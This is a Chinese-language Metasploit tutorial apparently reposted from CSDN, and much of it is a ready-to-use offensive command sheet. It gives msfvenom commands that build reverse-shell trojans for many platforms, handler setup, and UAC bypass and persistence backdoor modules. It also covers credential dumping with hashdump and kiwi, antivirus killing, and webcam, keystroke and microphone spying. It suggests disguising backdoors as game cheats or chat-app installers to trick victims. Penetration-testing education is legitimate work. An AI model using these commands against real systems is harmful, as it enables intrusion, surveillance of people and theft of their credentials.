0


Metasploit渗透测试框架基础

Metasploit

简介:
Metaspolit是一个渗透测试框架,属于框架,是模块化组成的,是一个免费的可下的框架,通过它可以很容易的获取、开发并对计算机软件漏洞实现 metaspliot时候,计算机安全状况就永久的改变了
MSF:The Metasploit Framework
Metasploit是一款开源的安全的漏洞检测工具,可以帮助安全和IT专业人士识别安全性的问题,验证漏洞的缓解促使,并且管理专家驱动的安全性记性评估,提供真正的安全风险情报,包括智能开发,代码审计,web应用程序扫描,社会工程等。

Rank:排名

execllet:漏洞利用程序绝对不会使用目标服务崩溃,看就像SQ!注入,命令执行,远程文件包含,本地文件包含,除非有特殊情况。典型的内存破坏利用程序不可以被评估为该级别
Great:漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回一个特定的返回定制
Good:漏洞利用程序有一个默认目标系统,并且这种类型的软件常见情况(桌面应用程序windows7,服务器的2012等)
Normal:漏洞利用是可靠的,但是依赖于特定版本,并且不能或者不能可靠的自动检测
average:利用利用程序不可靠或者难以利用的。
low:对于通用平台来说。漏洞利用程序几乎不能利用,(成功率低于50%)
manual:漏洞利用程序不稳定或者难以利用并且基于拒绝服务(Dos)。如果一个模块只有在用户特别配置该模块的时候才能用到。否则该模块不会被使用。
Rank排名由高到低,越高代表可靠性越高,反而可靠性越低

渗透测试的流程和术语:

1、漏洞Vnlnerability
漏洞:指的是安全性的缺陷(3要素)

  • 业务系统停止—可用性
  • 数据泄露—机密性
  • 高考录取系统—完整性 bug:指的是功能性的权限 2、渗透测试Penatration Test 模拟黑客攻击系统的方式,去找出系统的漏洞,并且修复它。 3、利用Exploit 渗透攻击,利用存在的各种各样的漏洞,对系统进行攻击利用的行为 4、提权 Privilege Escalation 从普通权限提升为管理员 5、攻击载荷Payload 已经利用成功,连接到系统以后去执行一些代码 6、免杀 Anti-AntiVirus 免除杀毒软件的查杀 7、后渗透Post-Exploitation 维持权限,获取等多的有用的信息 一般用于内网渗透

渗透测试流程:

1、确定目标
资产范围、测试方法、要求、限制等
2、信息收集
域名、子域名、ip、端口、网站目录、旁站、C段、网站架构、软件版本
3、漏洞分析(威胁建模)
根据软件版本,基于漏洞数据库,或者挖掘新漏洞
4、漏洞利用
获取权限或者文件,数据等
5、提权(渗透测试报告)
提升到管理员权限
6、后渗透(清理痕迹)
扩大战果,维持权限

Meteasploit架构介绍

1、REX:基础功能库,用于完成日常基本任务,无需手动编码实现,处理socket连接访问,协议应答(http/SSL/SMB等),编码转换(XOR,Base64,Unicode)
2、技术模块:5.0之后增加了一个evasion模块,一共有7个技术模块
3、插件:插件可以调用外部的一些渗透测试工具,例如:load nessus 就可以调用nessus扫描软件。
4、接口:有msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化解卖弄和msfapi远程调用接口
5、功能程序:metasploit还开发了一些可以直接运行的命令,比如msfpayload、msfencode以及msfvenom

Meteasploit技术功能模块

msf技术模块的功能:

1、auxiliary 目录: /usr/share/metasploit-framework/modules/auxiliary
auxiliary模块的命名规则;功能/服务/模块名称
举例;scanner/discovery/arp-sweep
负责执行信息收集、扫描、嗅探、指纹识别、暴力破解、口令猜测、网络协议欺骗和DOS攻击等功能的辅助模块,主要是用于信息收集阶段 不用exploit
分为三个大类:

  • admin admin/http admin/mssql admin/postgres admin/vmware
  • scanner mssql mysql netbios pop3 smtp smb snmp ssh telnet tftp vmware vnc
  • server 捕获模块

2、explotis 目录:/usr/share/metasploit-framework/modules/exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体的漏洞攻击的方法(主动、被动) 利用已经发现的漏洞对远程目标进行攻击,植入并运行攻击载荷,从而控制目标系统
active Exploit:直接攻击 适用于服务端 (主动)
passsive Exploit:防止攻击代码运行,适用于客户端(被动)
3、payloads攻击载荷 目录:/usr/share/metasploit-framework/modules/payloads
成功exploit之后,真正在目标系统执行的代码或者指令可以是反弹代码,可以是添加用户的的代码,在渗透攻击触发漏洞后,劫持程序执行流程并且跳入这段代码,这个模块的作用是消除安全人员开发这部分代码的代价。
分为3中payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell

  • single:all-in-one 完整的payload,这些payload是一体化的,不需要依赖外部的库和包。(完整独立的payload)
  • stagers:目标计算机内存有限时,先输入一个较小的payload用于建立连接(搭桥)
  • stages:利用stagers建立的链接下载后续payload在这里插入图片描述

4、encoders 目录:/usr/share/metasploit-framework/modules/encoders
对payload进行加密,用来躲避AntiVirus检查的模块,绕过部分杀毒软件,将攻击载荷进行编码(类似于加密),避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并运行
5、nops 目录:/usr/share/metasploit-framework/modules/nops
提高payload稳定性以及维持大小。在渗透攻击构造恶意数据缓冲区的时候,常常要在真正执行的Shellcode之间添加一段空指令区,这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全的着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
6、post 目录:/usr/share/metasploit-framework/modules/post
后期渗透馍块,用于,内网渗透,在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等操作。
7、evasion 目录:/usr/share/metasploit-framework/modules/evasion
创建木马文件,相当于msfvenom的一个子功能存在 躲避模块,对比微软的限制或者免杀,免杀效果一般

Meteasploit基本使用和控制台命令

启动metasploit架构需要运行postgresql数据库,现在只要运行metasploit时都会自动启动postgresql数据库,如果数据库没有启动的话,可以手动启动
在这里插入图片描述

msfconsole 启动终端

msf6 > banner显示banner信息 
msf6 > help /?  显示帮助,help+命令
msf6 > search mysql  搜索漏洞和利用数据库
msf6 > searchsploit "Spring Cloud Gateway 3.1.0"  搜索msf官网漏洞库里面的存在的漏洞
msf6 > info exploit/windows/smb/ms17_010_eternalblue   显示详细的内容
msf6 > use exploit/windows/smb/ms17_010_eternalblue    使用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options  查看模块所需要配置的参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 11.11.11.11   设置参数值
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset lhost       取消设置的参数值
Unsetting lhost...
msf6 exploit(windows/smb/ms17_010_eternalblue) > run  执行模块  
msf6 exploit(windows/smb/ms17_010_eternalblue) > back   返回到主页面
msf6 exploit(windows/smb/ms17_010_eternalblue) > quit/exit    退出msf
msfconsole    -p   不显示banner信息
msfconsole    -r   resource.rc: 启动时,执行一个包含有配置参数的.rc文件 
msfconsole    -h   显示帮助信息 

banner:版本信息
connect:可以理解成MSF中的nc命令,可以使用conncet -h 查看详细用法、
show:使用show命令查看msf提供的资源,在根目录下执行的话,由于有些模块化资源比较多,需要执行show命令要较长的时间。

  • show options/payloads/targets/evasion/missing/ search:搜索模块;简单搜索

例如:seach ms10-046
多条件搜索缩小范围;

  • search name:mysql type:exploit platform:linux

use: search 找到模块以后,使用use使用模块

  • use exploit/windows/smb/ms08_067_netapi

用use使用一个模块以后,使用show opetions查看我们需要配置的选项,使用show targets选择目标主机系统,使用show payloads选择payload,使用show advanced查看高级参数、使用show evasion查看用来做混淆,逃避的模块。

  • set/setg: 设置参数

比如要渗透的主机IP,paylaod等,我们可以使用show missing查看有没有设置的参数,setg是设置全局变量,避免每个模块都要输入相同的参数

  • unset/unsetg: 取消设置参数 unsetg是取消设置的全局变量 save;设置的参数在下一次启动的时候不会失效,可以用save 保存我们使用过的设置 /root/.msf4/config cat到文件进行查看 check:检查目标是否真的存在这个漏洞,大部分模块没有check功能。 run/exploit:攻击 jobs/kill:杀死进程 session:建立会话

msf系统文件:

  • 路径:/usr/share/metasploit-framework
  • data:可编辑文件,主要给Metasploit使用
  • documenttation:提供一些msf的介绍文档
  • external: 源文件和第三方库
  • lib:msf 框架的主要组成部分
  • modules:msf模块存放位置
  • plubins:存放metasploit的插件
  • scripts:存放meterprter代码(shell code)或者是其他脚本文件
  • tools:各种各样使用的命令行工具
sql相关的文件:
db_status          查看状态
db_rebuild_cache   将所有模块信息缓存到数据库里,通过数据库去检索 
db_nmap         扫描主机的信息,调用nmap
db_disconnect   断开连接
db_import    导入
db_connect:  连接数据库
db_export    导出
db_remove    溢出
db_save      保存

设置流程中必须要的命令:

set:设置模块参数
unset:清楚设置
setg:全局设置,即只要有哪个名称变量,都会设置成一样的
unsetg;清楚全局设置
save:保存设置的值,保存退出后仍然存在
run/exploit:运行
jobs:进行的工作
load:调用加载其他插件
unload:取消调用其他插件 
loadpath:当有个人开发模块,调用指定目录存放的模块
session:查看会话,已建立的连接 
irb:内置的编程开发模块 
resoucre:指定配置文件   

Metasploit基本使用:

msf-简单搜索

msf6 >search platform  查询平台评级高的漏洞用platform可以查询平台的可靠漏洞,他把所有的rank为normal的模块全部屏蔽了,只是剩下几个高级的利用模块。
路径查找:忘记了具体的路径,但是记得一部分路径,可以使用path这个关键字来查找mysql这个关键字下面的素有的模块
msf6 >search  path:mysql 
根据名称搜索 name 
search name:mysql
通过类型搜索漏洞:
type特定类型的模块(exploit,payload,auxiliary,endocer,evasion,post,or nop) 
search type:mysql 
联合搜索: 在搜索符合多个条件的漏洞可以使用这个
search name:mysql type:exploit 

msf的信息收集的一些模块:

use auxiliary/scanner/discovery/arp_sweep      用于主机发现
use auxiliary/scanner/portscan/tcp             用于端口扫描
use auxiliary/scanner/http/dir_scanner         用于目录扫描
use auxiliary/scanner/ssh/ssh_login            用于ssh爆破
use auxiliary/scanner/mysql/mysql_version      用于服务扫描 
use auxiliary/scanner/smb/smb_version          用于smb扫描
use auxiliary/scanner/telnet/telnet_version    用于telnet服务扫扫描
use auxiliary/scanner/rdp/rdp_scanner             用于rdp服务扫描

msf-主机发现:(基于2层的信息收集)

msf6 > use auxiliary/scanner/discovery/arp_sweep   使用auxiliary这个模块进行主机发现  因为不需要开放端口,所以使用2层就好了,不需要端口
msf6 auxiliary(scanner/discovery/arp_sweep) > show options   看我们这个选项的配置

msf6 auxiliary(scanner/discovery/arp_sweep) > show missing   告诉我们必须选的选项 
找到模块以后配置完成之后直接run即可

msf-端口扫描:(基于4层的信息收集)

msf6 > use auxiliary/scanner/portscan/                             一共有5个模块可以选择
use auxiliary/scanner/portscan/ack        
use auxiliary/scanner/portscan/syn        
use auxiliary/scanner/portscan/xmas
use auxiliary/scanner/portscan/ftpbounce  
use auxiliary/scanner/portscan/tcp  

FTP信息收集

  • 利用msf查到ftp的版本,然后用google查看一下版本里面有什么可以利用的漏洞 然后去看一下tfp是否支持匿名登录
msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/ftp/anonymous    --这个模块用来测试ftp是否支持匿名登录

msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/ftp/ftp_login    --是ftp暴力破解的模块 

> cd /usr/share/metasploit-framework/data/wordlists   这个目录下有metasploit自带的字典(暴力破解的字典)

ssh信息收集

msf6 auxiliary(scanner/ftp/ftp_login) > use auxiliary/scanner/ssh/ssh_version   msf的信息收集模块 

SMB信息收集

msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/smb/smb_version    这个模块里面

msf-密码嗅探

msf6 > use auxiliary/sniffer/psnuffle   嗅探模块
这个模块可以直接使用,直接run,但是需要使用jobs  kill  将其后台进程杀掉才能永久的结束这个程序

Metarpreter基本命令:

  • meterpreter简介:

比系统shell更加灵活,功能更加丰富,例如监控主机,监控键盘,开启摄像头,麦克风,还可以灵活的获取你的操作系统信息。
高级,动态,可扩展的payload,一站式后攻击payload;
基于meterpreter上下文利用更多的漏洞来发起攻击
后渗透阶段的一站式操作界面;
完全基于内存的DLL注入式payload(不写硬盘);
基于stager上传和预加载DLL进行扩展模块的注入(客户端API);
基于stager建立的socker连接建立加密的TLS/1.0通信隧道;
利用TLS隧道进一步加载后续扩展模块(避免网络取证)

msf建立反弹shell

  1. 监听
  2. 生成反弹连接的木马

msf生成php的木马,获得shell权限

msfvenom生成各种payload

# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444 -o shell.php                    用这个模块生成一个木马,一个可以用来让攻击机主动连接的shell   
# msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444-f war -o /a/java.war           生成一个java木马
# msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:/back.exe                                      生成一个windwos木马
# msfvenom -p windows/meterpreter/revese.tcp lhost=192.168.12.20 lport=4444 -f aspx -o shell.aspx        生成一个windows的aspx木马 
# msfvenom -p windows/meterpreter/revese.tcp lhost=192.168.12.20 lport=4444 -f asp -o shell.asp          生成一个windows的asp木马 
# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444  -f exe  -o  msf.exe    反向reverse 正向bind

# msfvenom -p linux/x86/meterpreter/reverse_tcp  lhost=192.168.12.20 lport=4444  -f elf -o  shell.elf    生成一个linux的elf木马

# msfvenom -p windows/meterpreter/reverse_tcp  lhost=192.168.12.20 lport=4444 -f exe > shell.exe         生成一个windwos的exe程序

# msfvenom -p osx/x86/shell_reverse_tcp  lhost=192.168.12.20 lport=4444 -f macho > shell.macho           生成一个mac的程序

# msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.12.20 lport=4444 -f raw > shell.php              生成一个php的木马
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php                

# msfvenom -p java/jsp_shell_reverse_tcp  lhost=192.168.12.20 lport=4444 -f raw -o shell.jsp             生成一个jsp木马

# msfvenom -p java/jsp_shell_reverse_tcp  lhost=192.168.12.20 lport=4444 -f war -o shell.war             生成一个war文件

# msfvenom -p cmd/unix/reverse_python  lhost=192.168.12.20 lport=4444  -f raw -o shell.py                生成一个python文件
 
# msfvenom -p cmd/unix/reverse_bash  lhost=192.168.12.20 lport=4444 -f raw -o shell.sh                   生成一个bash文件

# msfvenom -p cmd/unix/reverse_perl lhost=192.168.12.20 lport=4444 -f raw -o shell.pl                    生成perl文件
msfvenom的所有参数:
-p 指定需要的payload 也可以使用自定义的payload,几乎是支持全平台的
-l  列出指定模块的所有可用资源,模块包括 payloads,encoders,nops,all
-n  为payload预先制定一个nop滑动长度
-f  指定输出格式
-e  制定需要使用的encoder编码器,如果没有-e 也没有-b 则输出raw payload
-a  执行payload的目标架构,例如x86,x64
-platfrom  执行payload的目标平台
-s  设定有效攻击载荷的最大长度,就是文件的大小
-b  设定规避字符集,制定需要过滤的坏字符,例如 不使用 /x00
-i  指定payload的编码次数
-c  指定一个附加的win32 shellcode文件
-x  指定一个自定义的可执行文件作为模板,并且将payload嵌入其中
-k  保护模板程序的动作,注入payload作为一个新的进程运行
-o  指定创建好的payload的存放位置 
-v  制定一个自定义变量,以确定输出格式
-shelllest  最小生成payload 

使用msf建立监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > run 

shell讲解:

正向shell:

控制段主动发起连接请求去连接被控制端,中间网络链路不存在阻碍

反向shell(反弹shell):

被控制端主动地连接请求去连接控制段,通常被控制端由于防火墙的限制,权限不足,被占用等问题导致被控制端不能正常接收发送过来的数据包

Meterpreter详解:

全称:Meta Interpreter(元 解释程序)属于stager Payload 客户端与服务端建立加密的连接通信在这里插入图片描述

电脑端:

meterpreter >sysinfo        查看目标机系统信息
meterpreter >getuid         查看用户
meterpreter >pwd/getlwd     查看当前目录
meterpreter >cd/lcd         切换目录
meterpreter >background     把当前会话放到后台
meterpreter >sessions -i id 切换到指定会话
meterpreter >sessions -k id 杀死指定会话
meterpreter >shell          进入目标主机的shell  若出现乱码,则输入 chcp 65001 
meterpreter >upload file    向目标主机上传文件
meterpreter >download file  从目标主机下载文件
meterpreter >search         从目标主机上搜索文件   search -f *test*
meterpreter >execute        在目标主机执行程序     execute -H -i cmd.exe
meterpreter >getsystem      提权
meterpreter >clearev        清除痕迹 
meterpreter >webcam_list    查看有几个摄像头
meterpreter >webcam——snap -i 1 拍照
meterpreter >screenshot     截图
meterpreter >screenshare    实时监控桌面
meterpreter >webcam_stream  开启摄像头
meterpreter >execute -f notepad  打开记事本
meterpreter > webcam_list    查看摄像头列表
meterpreter > webcam_snap    利用摄像头拍照
meterpreter > keyscan_start  开启键盘抓取
meterpreter > keyscan_stop   关闭键盘抓取
meterpreter > keyscan_dump   键盘操作记录 
meterpreter > run post/windows/manage/enable_rdp   开启远程桌面

手机端:

meterpreter > check_root            查看机器是否root
meterpreter > webcam_list           查看有几个摄像头
meterpreter > webcam_snap -i 1      拍照
meterpreter > screenshot            截图
meterpreter > webcam_stream         开启摄像头
meterpreter > record_mic -d 10      录制10秒的音频
meterpreter > dump_contacts         获取联系人 
meterpreter > dump_callog           获取通话记录
meterpreter > dump_cms              获取短信
meterpreter > geolocate             获取定位

提权:

当我们以一个普通用户登陆到linux的操作系统以后,需要怎么操作来提权呢?

  1. 内核漏洞
  2. sudo
  3. SUID提权
  4. 找敏感文件

提权模块:

一般默认使用getsystem 在meterpreter中使用 
提权命令执行失败的时候,需要绕过uac
第一个模块!
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp  set lhost 192.168.12.20  set seesion 1  exploit   
第二个模块!
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp  set lhost 192.168.12.20  set seesion 1  exploit
第三个模块!
use exploit/windows/local/bypassuac_dotnet_frofiler
set payload windows/meterpreter/reverse_tcp  set lhost 192.168.12.20  set seesion 1  exploit
第四个模块!
use exploit/windows/loca/ms16_014_wmi_recv_notif
set payload windows/meterpreter/reverse_tcp  set lhost 192.168.12.20  set seesion 1  exploit
第五个模块!
use post/multi/recon/local_exploit_suggester set session exploit 
优点:省去手动查找的麻烦
缺点:不是所有列出的local exploit都可以使用
第六个模块!
use exploit/windows/local/unquoted_service_path set session 1 exploit  

在这里插入图片描述

metasploit经典漏洞复现

MS14-064(OLE远程代码执行)漏洞

ms14-064简介:
miscrosoft windwos OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响win95+IE3-Win10+IE11全版本

msf6 use windows/browser/ms14_064_ole_code_execution  --使用这个模块 
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > show  options   查看模块里面的内容 

Module options (exploit/windows/browser/ms14_064_ole_code_execution):

MS17-010(永恒之蓝)漏洞

永恒之蓝是利用windwos系统的smb漏洞可以获取系统最高权限。
永恒之蓝漏洞的影响范围:
目前已知的受到影响的windows版本包括但是不局限于 windows NT windows2000 windows xp windows 2003 windows vista windows 7 windwos 8 windows 2008 windwos 2008 r2 windwos server
2012 sp0

CVE漏洞的产生

CVE的英文全称是comon vulnerabilities & exposures 公共漏洞和暴露 CVE就好像很是一个查看公共漏洞的字典
CVE就相当一字典一样,可以去查看所有已经发生的漏洞。 为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出了一个公共名称。 CVE是国际著名的安全漏洞库。也是对已知漏洞和安全缺陷的标准化名称列表,她是一个由企业,政府,学术参数的国际性组织。

CVE-2014-0160(心脏滴血)漏洞

漏洞成因:

heartbleed漏洞是由于未能在memcpy()要用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪openSSL所分配的64kb缓存,将超出必要范围的字节信息复制到缓存中再返回缓存内容,这样一来,受害者的内存就会以每次64kb的速度进行泄露。

漏洞的危害:

如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
影响平台:
openssl 1.0.1

1.0.1f版本、opesnssl 1.0.2-beta

beta1版本

CVE-2018-8174(0day双杀)漏洞

漏洞介绍;

该漏洞影响最新版本的IE浏览器以及是用来IE内核的应用程序用户在浏览网页或者打开office文档的时候,都可能中招,最终被黑客植入后门木马完全控制电脑。

CVE-2019-0708 进行渗透在这里插入图片描述

strtus2远程命令执行漏洞:

S2-045:攻击者可以使用strtus2的jakara multipart parser插件上传文件的时候,修改http请求头中的content-type值来出发该漏洞,导致远程代码的执行 
s2-046:s2-045补丁绕过,攻击者通过设置content-dispostion的filename字段或者设置conten-length绕过2G这种方式来出发异常并导致filename字段的ognl表达式得到执行从而达到远程攻击的目的
s2-048:apache strtus2的strus1插件存在远程代码执行的高危漏洞,攻击者可以构造恶意的数值通过strtus2的struts1的插件远程代码执行。
s2-052:apache strtus2.5以及之前的部分2.x版本的REST插件存在远程代码执行漏洞,漏洞的成因是由于使用Xstreamhander反序列化xstream实力的时候没有任何类型过滤导致远程代码的执行 
s2-053:该漏洞原理在于处理freemarker标签的时候,若程序员使用了不恰当的编码表达式则会导致远程代码执行。 
s2-054:apachesstrtus rest插件使用了过时的json-lib库,攻击者可以构造恶意的json请求造成dos攻击。
s2-055:由于apachestrtus调用了存在反序列化的jackson json库,导致了反序列化漏洞的产生。

shellshock漏洞:

又叫bashbug

  • CVE-2014-6271

攻击者可以构造特殊的环境变量值,以这些环境变量的值包含特定的代码,当shell对这些环境变量求值的时候,这些特定的代码将得以在系统中执行,某些服务和应用接受未经身份者提供的环境变量,因此攻击者可以利用此漏洞同源于再提供这些服务和应用的系统上执行任意的shell命令。

  • CVE-2014-7169

因GNU Bash 允许在环境变量的值中进行函数定义,及在函数定义后加入额外的字符串,攻击者可以利用此特性在远程写入文件或者执行其他可以影响到系统的操作

metasploit客户端攻击以及后渗透测试

基于windows的客户端渗透测试

在什么情况下会使用到客户端攻击

  1. 在无法突破网络边界的情况下转而攻击客户端
  2. 社会工程学攻击
  3. 进而渗透线上业务网络
  4. 含有漏洞利用代码的web站点
  5. 利用客户端漏洞
  6. 含有漏洞利用的DOC,PDF等文档
  7. 诱骗被害者执行payload
msf6 > use exploit/multi/handler
   --这是一个专门用来监听的模块  

基于linux的客户端渗透测试在这里插入图片描述

linux的
linux的集型结构是elf

基于手机端的渗透测试

hacker可以针对不同的人群进行各种主动攻击,然后把后门捆绑到现在很火的吃鸡游戏外挂上,或者是捆绑到现在很知名的网游外挂布丁上面,然后传到,供给他们下载,再或者是伪装成qq或者微信之类的安装软件,提供给有需求的人群。
比如我们向目标主机发送一个含有后门的apk软件,或者是一个word文档、pdf文件。想到达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。在这里插入图片描述

生成安卓端的
Geolocate 定位
wlan_geolocate wifi定位
dump_callog 获取通话记录
send_sms 发送短信

基于word文档的客户端的渗透测试在这里插入图片描述

对windwos的word文档进行渗透测试

基于post进行后渗透测试

  • POST模块 #前提是已经建立了meterpreter
run post/windows/manage/migrate                         #自动进程迁移
run post/windows/gather/checkvm                        #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav                         #关闭杀毒软件
run post/windows/manage/enable_rdp                     #开启远程桌面服务
run post/windows/manage/autoroute                       #查看路由信息
run post/windows/gather/enum_logged_on_users           #列举当前登录的用户
run post/windows/gather/enum_applications              #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump               #dump出所有用户的hash
run exploit/windows/local/persistence                #建立永久的后门
run post/windows/gatgher/forensics/enum_drives       #获取目标分区情况
run post/windows/gather/checkvm                      #检测是否是虚拟主机
run post/windows/gather/enum_applications            #获取当前安装的应用程序
run post/windows/gather/euum_logged_on_users         #获取用户的登录信息
run post/multi/gather/env                            #收集系统环境信息 
run post/windows/gather/enum_services                #查看开启的服务
run post/windows/gather/dumplinks                    #查看目标主机最近的操作
run post/windows/manage/deleter_user username=aiyou  #删除用户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou #添加用户
run post/windows/gather/enum_logged_on_users         #查看主机中的用户信息
run windows/manage/killav                            #关闭杀软
run post/windows/gather/enum_applications            #查看目标主机安装了哪些应用、补丁
run post/multi/recon/local_exploti_suggester         #对目标进行漏洞扫描(提权操作)
run exploit/windows/local/ms16_014_wmi_recv_notif    #对目标进行漏洞扫描提权
run post/windows/gather/checkvm                      #是否为虚拟机
run post/linux/gather/checkvm                        #是否为虚拟机
run post/windows/gather/forensics/enum_drives        #查看分区
run post/windows/gather/enum_applications            #获取安装的软件的详细信息
run post/windows/gather/dumplinks                    #获取最近的文件操作
run post/windwos/gather/enum_ie                      #获取IE缓存
run post/windows/gather/enum_chrome                  #获取chrome缓存
run post/windwows/gather/enum_patches                #补丁信息
run post/windows/gather/enum_domain                  #查找预控
set AytoRunScript migrate -f                         #自动迁移随机进程
在meterpreter中使用: run persistence -A -S -U -i 60 -p 1234 -r 192.168.12.20  会定时的连接 自动连接

metasploit扫描:

  1. 密码嗅探
use  auxiliary/sniffer/psnuffle
支持从pcap抓包文件中提取密码
功能类似于dnsiff
目前支持pop3,imap、ftp、http_get协议
  1. snmp扫描
vi /etc/default/snmpd  监听地址修改为0.0.0.0
use auxiliary/scanner/snmp_login
use auxiliary/scanner/snmap/enum
use auxiliary/scanner/snmpenumusers(windows)
use auxiliary/scanner/snmp_enumshares(windows)
  1. 端口扫描
search portscan
use auxiliary/scanner/portscan/syn
set interface/ports/rhosts/threads
run/exploit
  1. arp扫描
search arp 
use auxiliary/scanner/discovery/arp_sweep
set interface/rhosts/shosts/smac/threads
run/exploit

在这里插入图片描述

msf之windwos提权UAC绕过

什么是UAC?(user account control)用户账户控制 是一种安全策略

原理:

界面操作是:通过查询用户的访问是否给应用程序,是用硬盘驱动器和系统文件的权力,已达到阻止恶意程序破坏系统的效果。

msf之端口转发与内网代理与后门

端口转发

portfwd是meterpreter提供的端口转发的功能,使用portfwd -h 功能查看
-l 本地监听端口
-r 内网目标的ip
-p 内网目标的端口

meterpreter > forwd add -l 2222 -r 192.168.12.20 -p 3389 
将192.168.12.20的3389端口转发到本地的2222端口上

内网代理

pivot是msf常用的代理
首先在msf中使用route add 内网ip 掩码 session 的id 添加一个路由表
route print 打印命令在这里插入图片描述

建立socks代理

  • 如果其他程序需要访问内网环境,可以建立sodcks5代理。
  • 这里提供了模块
use auxiliary/server/socks5

需要设置的参数

SRVHOST:监听的ip地址,默认为0.0.0.0 一般不用改
SRVPORT:监听的端口,默认为1080
在linux使用proxychains使用,在windows使用proxifier使用

后门

metsvc

1、使用run metsvc -h 查看帮助一共有3个参数
—A 安装后门,自动启用exploit/multi/handler 模式连接后门
-h 查看帮助
-r 删除后门
2、安装后门
命令 run metsvc
同时会建立一个服务,显示名称为meterpreter,服务名称为metsvc启动类型为自动,绑定在31337端口上 
3、连接后门
使用exploit/multi/handler 模块,payload设置为windwos/mesvc_bind_tcp,设置目标ip和绑定端口31337

在这里插入图片描述

persistence:

  1. 使用exploit/windows/local/persistence模块设置payload然后run
  2. 使用exploit/mulit/handler模块,payload为windwos/meterpreter/reverse_tcp 然后run

令牌窃取:

使用模块use incognito
查看可用token list_tokens -u
假冒system权限impersonate_token ‘NT AUTHORITY\SYSTEM’
利用假冒身份执行命令 execute -f cme.exe -i -t 不欧哲直接shell

加载kiwi模块

命令:

load kiwi
creds_all        列举所有凭据
creds_msv        列举所有msv凭据
creds_ssp        列举所有ssp凭据
creds_wdigest    列举所有wdigest凭据
creds_tspkg      列举所有tspkg凭据
golden_ticket_create 创建黄金票据
kerberos_ticket_create 创建kerberos票据
kerberos_ticket_list   列举kerberos票据
kerberos_ticket_purge  删除kerberos票据
kerberos_ticket_use    使用kerberos票据
kiwi_cmd               执行mimikatz的命令,接mimikatz.eze命令
lsa_dump_sam            dump出来lsa的sam
lsa_dump_secrets        dump出来lsa的秘文
password_change         修改密码
wifi_list               列出当前用户的wifi配置文件
wifi_list_SHARED        列出共享wifi配置文件\编码

监听参数:

防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里就需要补充一些监听的参数防止假死与假session
在这里插入图片描述

exitonsession flase 可以在接收到session后继续监听端口,保持侦听
set Sessioncommunucationtimeout 0 默认情况下如果一个会话将在5分钟没有任何活动,那么他就会被杀死,防止此情况可以讲此项改为0
set SessionExpriationTimeout 0 默认情况下,一个星期后,会话将被强制关闭,修改为0可以永久不会被关闭

这里是一些MSF的介绍,具体的使用还是希望各位多去尝试,希望这篇文章对各位有帮助!!!

标签: 安全 网络

本文转载自: https://blog.csdn.net/hanjinming110/article/details/129302827
版权归原作者 小韩童鞋丫 所有, 如有侵权,请联系我们删除。

“Metasploit渗透测试框架基础”的评论:

还没有评论